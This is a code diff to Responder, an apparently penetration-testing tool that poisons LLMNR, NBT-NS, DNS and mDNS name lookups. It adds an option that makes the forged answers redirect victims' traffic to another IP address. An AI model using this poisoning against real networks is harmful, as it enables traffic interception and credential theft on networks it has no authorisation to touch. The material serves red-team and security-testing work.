Added option -e, specify an external IP address to redirect poisoned traffic to.

Responder.py

@@ -25,8 +25,11 @@ banner()
 
 parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython %prog -I eth0 -wrf', version=settings.__version__, prog=sys.argv[0])
 parser.add_option('-A','--analyze',        action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
-parser.add_option('-I','--interface',      action="store",      help="Network interface to use", dest="Interface", metavar="eth0", default=None)
+parser.add_option('-I','--interface',      action="store",      help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None)
 parser.add_option('-i','--ip',             action="store",      help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
+
+parser.add_option('-e', "--externalip",    action="store",      help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP",  metavar="10.0.0.22", default=None)
+
 parser.add_option('-b', '--basic',         action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
 parser.add_option('-r', '--wredir',        action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False)
 parser.add_option('-d', '--NBTNSdomain',   action="store_true", help="Enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network. Default: False", dest="NBTNSDomain", default=False)

packets.py

@@ -19,7 +19,7 @@ import settings
 
 from base64 import b64decode, b64encode
 from odict import OrderedDict
-from utils import HTTPCurrentDate
+from utils import HTTPCurrentDate, RespondWithIPAton
 
 # Packet class handling all packet generation (see odict.py).
 class Packet():
@@ -57,7 +57,7 @@ class NBT_Ans(Packet):
 	def calculate(self,data):
 		self.fields["Tid"] = data[0:2]
 		self.fields["NbtName"] = data[12:46]
-		self.fields["IP"] = settings.Config.IP_aton
+                self.fields["IP"] = RespondWithIPAton()
 
 # DNS Answer Packet
 class DNS_Ans(Packet):
@@ -83,7 +83,7 @@ class DNS_Ans(Packet):
 	def calculate(self,data):
 		self.fields["Tid"] = data[0:2]
 		self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
-		self.fields["IP"] = settings.Config.IP_aton
+                self.fields["IP"] = RespondWithIPAton()
 		self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
 
 # LLMNR Answer Packet
@@ -111,7 +111,7 @@ class LLMNR_Ans(Packet):
 	])
 
 	def calculate(self):
-		self.fields["IP"] = settings.Config.IP_aton
+                self.fields["IP"] = RespondWithIPAton()
 		self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
 		self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1]
 		self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1]

poisoners/MDNS.py

@@ -36,7 +36,6 @@ def Poisoned_MDNS_Name(data):
 	data = data[12:]
 	return data[:len(data)-5]
 
-
 class MDNS(BaseRequestHandler):
 	def handle(self):
 		MADDR = "224.0.0.251"
@@ -56,7 +55,7 @@ class MDNS(BaseRequestHandler):
 			if Parse_IPV6_Addr(data):
 
 				Poisoned_Name = Poisoned_MDNS_Name(data)
-				Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Bind_To))
+				Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton())
 				Buffer.calculate()
 				soc.sendto(str(Buffer), (MADDR, MPORT))
 

settings.py

@@ -152,6 +152,7 @@ class Settings:
 		self.AutoIgnoreList             = []
 
 		# CLI options
+                self.ExternalIP         = options.ExternalIP
 		self.LM_On_Off          = options.LM_On_Off
 		self.WPAD_On_Off        = options.WPAD_On_Off
 		self.Wredirect          = options.Wredirect
@@ -167,11 +168,13 @@ class Settings:
 		self.ProxyAuth_On_Off   = options.ProxyAuth_On_Off
 		self.CommandLine        = str(sys.argv)
 
+                if self.ExternalIP:
+                        self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
+
 		if self.HtmlToInject is None:
 			self.HtmlToInject = ''
 
                 self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
-
 		self.IP_aton         = socket.inet_aton(self.Bind_To)
 		self.Os_version      = sys.platform
 

utils.py

@@ -82,6 +82,12 @@ def RespondToThisName(Name):
 def RespondToThisHost(ClientIp, Name):
 	return RespondToThisIP(ClientIp) and RespondToThisName(Name)
 
+def RespondWithIPAton():
+       if settings.Config.ExternalIP:
+               return settings.Config.ExternalIPAton
+       else:
+               return settings.Config.IP_aton
+
 def OsInterfaceIsSupported():
 	if settings.Config.Interface != "Not set":
 		return not IsOsX()